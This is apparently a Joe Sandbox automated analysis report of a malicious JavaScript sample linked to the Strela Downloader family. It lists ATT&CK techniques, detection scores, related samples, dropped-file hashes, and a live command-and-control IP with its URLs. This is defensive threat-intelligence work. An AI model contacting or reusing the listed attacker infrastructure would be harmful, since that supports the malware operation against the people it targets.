Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
295963673155714664.js	3%	ReversingLabs
295963673155714664.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sceo	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2353440414.0000024C212B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3584361641.0000024C2148C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.2354047342.0000019639D5B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2354047342.0000019639D7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354047342.0000019639D5B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354047342.0000019639D28000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.2354047342.0000019639D5B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/sceo	net.exe, 00000007.00000002.2354047342.0000019639D28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588100
Start date and time:	2025-01-10 21:23:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	295963673155714664.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.16.168.107, 2.16.168.105, 23.209.209.135, 88.221.110.91, 2.16.100.168, 23.40.179.71, 23.40.179.56, 23.40.179.15, 23.40.179.69, 23.40.179.72, 23.40.179.22, 13.107.246.45, 4.175.87.197, 96.17.64.171, 20.223.35.26, 2.23.227.208, 150.171.28.10
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, tse1.mm.bing.net, g.bing.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:24:13	API Interceptor	23x Sleep call for process: powershell.exe modified
15:24:17	API Interceptor	1x Sleep call for process: net.exe modified
15:24:17	API Interceptor	2x Sleep call for process: svchost.exe modified
15:24:30	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	13.107.246.45
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	AuKUol8SPU.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	ZV2G9QQzlR.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	xrAlbTvRsz.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
ax-0001.ax-msedge.net	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	150.171.28.10
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	150.171.28.10
	lock.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	nested-Please Review%3A].eml	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	https://we.tl/t-fnebgmrnYQ	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2Bp0zWbjdQ23pm6OHkVsvPYDi1myQ0pU4BHbfSebmhjQAIDDVMgAvG7Znw7Pr8RLFA8HEKUDF6j4JiiZ3slfATgGRu3-2BdlWbffHNdZW8UBc7QW6Nxd08b90zhz6-2FhInZrSp1J-2Fh9yU6gsolKI10c6pp1uA-2FrYRI2h9aMn65O5NvFrP-2Fc-2BjlCyvznYBIXNfkBGEguSmRbREbgogGbx0CjJc9kfZpcF-2F4T3W7floa7RxJ5-2BKjbFDYD7FnGxTCmOAt-2BDLn5J0y5KvJMT3qFWKyQo5DJ5ru0B7ksJyMiI6L18xz5XP2GRtxbC7dwfszL4xopys7uMk6wzOFXTrTU9jYi2ZvQxqCtOzUddy1WGVe8msfQF8x3k3Ejw4p6mGzrKR8wOZXnO3uVw5n8j0tNkc31-2F1y7FsWAGygTmAHNV4DJiUXG3-2Foq61jCXRLG1PMMCZ97ToDeMjE9XjfX-2Bb4NXrzqR3tgw-3D-3DwyWG_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcLQ6-2Bsxhj60Ehn0XDEyVD6MCEZ1gioYU2lwgwkCuP2dHRX-2FYdZnQ31dEdwKW37GtXYj9HmZ1F0YrZWwSELmaO5K7noqwYAhu2QGcGqOtQYdjShoJMVTWOe6BTzZXQxib8Y6rd4SX-2BUwZMt-2BbgPIpal6PcS8i4PCSiFy8RF-2Ftt22Wpj713n23BIU6an4375YDP3	Get hash	malicious	Unknown	Browse	150.171.28.10
	http://api.myuhchvision.com/	Get hash	malicious	Unknown	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263310387108156
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0B:9JZj5MiKNnNhoxug
MD5:	081FA02B2AFC1F1D1213947D5DBAAA20
SHA1:	E1A8D61BDF6CCC93BD37C2CE18288F27F79B0C0C
SHA-256:	1E08F0D7DDA7CA77ECEE8BD69F2E064B50F6B9E68DA0193C7EA38CD700EFE51C
SHA-512:	C5F06C35E996CD312531450910298C3AA95B701977482095C6086FAB4610788FA438B173635935E72E8ECE5DFFBF42497E0143464697F6FBB089FFFD12E4868E
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x6a4dca63, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555780193740117
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	CFF9049E48DC65BB0BB8B871FB344156
SHA1:	C86D668973B16EA5CF8B9FD9317A48E2A15503C6
SHA-256:	5BB97F1E6F1488E1EBF2FD3334BF9251B793CCD82D242CBE799AD9ED3F4C5B9B
SHA-512:	DB838002EB1FEB74512FB99E74754E1BB92686AE981804E6DA735ECEC89749277E97C994882FC8359BCE0864C84A33F723CA9AD68C2A558A3043D687A0D9788B
Malicious:	false
Preview:	jM.c... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...........................................}%..................D.&.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07903721992005383
Encrypted:	false
SSDEEP:	3:eUYeDYYbANaAPaU1lXD0CilluxmO+l/SNxOf:eUzDYY8NDPaUACGgmOH
MD5:	DE13DC31AEA8015D684F174424ED2AA6
SHA1:	FD31C8243B596A838717B907E5E9E28E3EED8B2F
SHA-256:	120ADD495BC4347E30C906C9D3BD59BB3DFCF9405481B781B8761B2EA06EE84D
SHA-512:	D328E09276982548D5F887DA9378403BDCFF93B8D36C762BC84C3D5BAD6425AEFA4515F001E75E2620D5AAAB7DBD4E6718F8ECEEC25B46E47467821F5C6429AA
Malicious:	false
Preview:	.........................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?..................D.&.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.213678945344939
Encrypted:	false
SSDEEP:	6:iO4S55q3+q2PN72nKuAl9OmbnIFUtSS53UvZmwsS5gtVkwON72nKuAl9OmbjLJ:7LqOvVaHAahFUtW/m5OaHAaSJ
MD5:	EDC5328971A6C4A162DE6903C09D3FB7
SHA1:	FD6E99068DC6D8824C00E7305DDC6A6FFF2A9306
SHA-256:	275DF23F4526A0FD2E756893461070A3A17702C77242B0DC89A210F70B85EF00
SHA-512:	38356527CF44382DAF05CC609B6A480DFCD69A0FDAAB680B4D4F1A496D33B26215A688907AC2B6BDF780C03ED97CEFA6C365F02A24F8FFEEFC7B0474148CAD22
Malicious:	false
Preview:	2025/01/10-15:24:17.727 1998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:24:17.729 1998 Recovering log #3.2025/01/10-15:24:17.730 1998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.213678945344939
Encrypted:	false
SSDEEP:	6:iO4S55q3+q2PN72nKuAl9OmbnIFUtSS53UvZmwsS5gtVkwON72nKuAl9OmbjLJ:7LqOvVaHAahFUtW/m5OaHAaSJ
MD5:	EDC5328971A6C4A162DE6903C09D3FB7
SHA1:	FD6E99068DC6D8824C00E7305DDC6A6FFF2A9306
SHA-256:	275DF23F4526A0FD2E756893461070A3A17702C77242B0DC89A210F70B85EF00
SHA-512:	38356527CF44382DAF05CC609B6A480DFCD69A0FDAAB680B4D4F1A496D33B26215A688907AC2B6BDF780C03ED97CEFA6C365F02A24F8FFEEFC7B0474148CAD22
Malicious:	false
Preview:	2025/01/10-15:24:17.727 1998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:24:17.729 1998 Recovering log #3.2025/01/10-15:24:17.730 1998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.180143844614638
Encrypted:	false
SSDEEP:	6:iO4S5aLAVq2PN72nKuAl9Ombzo2jMGIFUtSS5kOAgZmwsS5kOAIkwON72nKuAl97:7RvVaHAa8uFUtgI/iQ5OaHAa8RJ
MD5:	D785428E706B4C66B43073F774921EF9
SHA1:	4A038B62A2A098730F59C89BB368AB26DE726A50
SHA-256:	8524243105910AAB5AC6B042D047EBE2101C877BC69B238CC53671224806B602
SHA-512:	4F69E1E065F51C6BE9E08219227B89FE2BF3733F4C96D335E028BB2272B7025F2FB0FD91A313BC80BD1F72F62B6EEB2F6FBCA492F39572D04164C089814DF115
Malicious:	false
Preview:	2025/01/10-15:24:17.815 1844 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:24:17.816 1844 Recovering log #3.2025/01/10-15:24:17.816 1844 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.180143844614638
Encrypted:	false
SSDEEP:	6:iO4S5aLAVq2PN72nKuAl9Ombzo2jMGIFUtSS5kOAgZmwsS5kOAIkwON72nKuAl97:7RvVaHAa8uFUtgI/iQ5OaHAa8RJ
MD5:	D785428E706B4C66B43073F774921EF9
SHA1:	4A038B62A2A098730F59C89BB368AB26DE726A50
SHA-256:	8524243105910AAB5AC6B042D047EBE2101C877BC69B238CC53671224806B602
SHA-512:	4F69E1E065F51C6BE9E08219227B89FE2BF3733F4C96D335E028BB2272B7025F2FB0FD91A313BC80BD1F72F62B6EEB2F6FBCA492F39572D04164C089814DF115
Malicious:	false
Preview:	2025/01/10-15:24:17.815 1844 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:24:17.816 1844 Recovering log #3.2025/01/10-15:24:17.816 1844 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\99ba7652-d4f2-492a-8d48-e64e67538d75.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKasBdOg2Hhcaq3QYiubcP7E4T3y:Y2sRdsvfdMHY3QYhbA7nby
MD5:	2365460BCE694191843455271B8C3025
SHA1:	F8EAADDD413080FEA4437BE4B971CF3FA64F2FCF
SHA-256:	E1F77C3A19FB8CAE656AEFB29FE71FBFCC35FBA6CA9F41E061F11C499CDC6128
SHA-512:	E69715EF1EF6FC0393217DFB24ED41BA69E23796A463E2892EBE3E0C8E5A489945F99BA7AC71637FD892A3041B94701EAB9FFC3674E7FA16B3855F20B7D6BF5F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100669908761","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134878},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKasBdOg2Hhcaq3QYiubcP7E4T3y:Y2sRdsvfdMHY3QYhbA7nby
MD5:	2365460BCE694191843455271B8C3025
SHA1:	F8EAADDD413080FEA4437BE4B971CF3FA64F2FCF
SHA-256:	E1F77C3A19FB8CAE656AEFB29FE71FBFCC35FBA6CA9F41E061F11C499CDC6128
SHA-512:	E69715EF1EF6FC0393217DFB24ED41BA69E23796A463E2892EBE3E0C8E5A489945F99BA7AC71637FD892A3041B94701EAB9FFC3674E7FA16B3855F20B7D6BF5F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100669908761","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134878},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.25456588036197
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7kx+:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhv
MD5:	1885E5F25B59A727A7F93E1915EC6EF1
SHA1:	367A7063B2DECF69B5AC8838DB8E2771BE6A843C
SHA-256:	5329D2C47F71831B068A8F83888DB48B549E9DD0D44DD0D70063957B9D959D33
SHA-512:	88643B5FE883A98DF5D1D1B4B987096F7A875E85294A0621D0A8C6BF9BA44FDC3313117E1A1A1DE21AB772477A697E1CFDDB73C119A39860F6370BC50BDAE19F
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.154308759370227
Encrypted:	false
SSDEEP:	6:iO4S5riLAVq2PN72nKuAl9OmbzNMxIFUtSS5RSRLAgZmwsS5ZwAIkwON72nKuAlG:7NvVaHAa8jFUtNSR9/7+5OaHAa84J
MD5:	2556D5C2FC43524729ABA6482274E0E1
SHA1:	3B08DEE6EFF7400BBBB4893B4C6BB18ED2ED1AEF
SHA-256:	F3690091D1DB8A6CE4E5E1A5A99CAE496391A05DF537A39171598405BAAC8A35
SHA-512:	774DDBEB83044E5BFEE60D5CD0EF891956CA76F584DE9D07159769065A3C117C61127E5275225E840321BE200FDD2D23AF16D5DFE8E7F47257DF13E14995FC15
Malicious:	false
Preview:	2025/01/10-15:24:18.139 1844 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:24:18.151 1844 Recovering log #3.2025/01/10-15:24:18.159 1844 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.154308759370227
Encrypted:	false
SSDEEP:	6:iO4S5riLAVq2PN72nKuAl9OmbzNMxIFUtSS5RSRLAgZmwsS5ZwAIkwON72nKuAlG:7NvVaHAa8jFUtNSR9/7+5OaHAa84J
MD5:	2556D5C2FC43524729ABA6482274E0E1
SHA1:	3B08DEE6EFF7400BBBB4893B4C6BB18ED2ED1AEF
SHA-256:	F3690091D1DB8A6CE4E5E1A5A99CAE496391A05DF537A39171598405BAAC8A35
SHA-512:	774DDBEB83044E5BFEE60D5CD0EF891956CA76F584DE9D07159769065A3C117C61127E5275225E840321BE200FDD2D23AF16D5DFE8E7F47257DF13E14995FC15
Malicious:	false
Preview:	2025/01/10-15:24:18.139 1844 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:24:18.151 1844 Recovering log #3.2025/01/10-15:24:18.159 1844 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444707638827987
Encrypted:	false
SSDEEP:	384:iemci5tFiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Cus3OazzU89UTTgUL
MD5:	26812CA5BEA48099D8F96D0DA6320E84
SHA1:	3044E42512A58C28A352878E577E297B350A59F8
SHA-256:	0B85653BC5A2744973A4DD37CC95860AF3B82E4DEB771A61394BB0BF8CDA819D
SHA-512:	550750C319156A9C8E0382684DE249D4BAF6EF07E552434D56CEE733E0F0A032A637325059F30682D9B71B2816DA423041524E89E7DD49623E12784ED90D0739
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

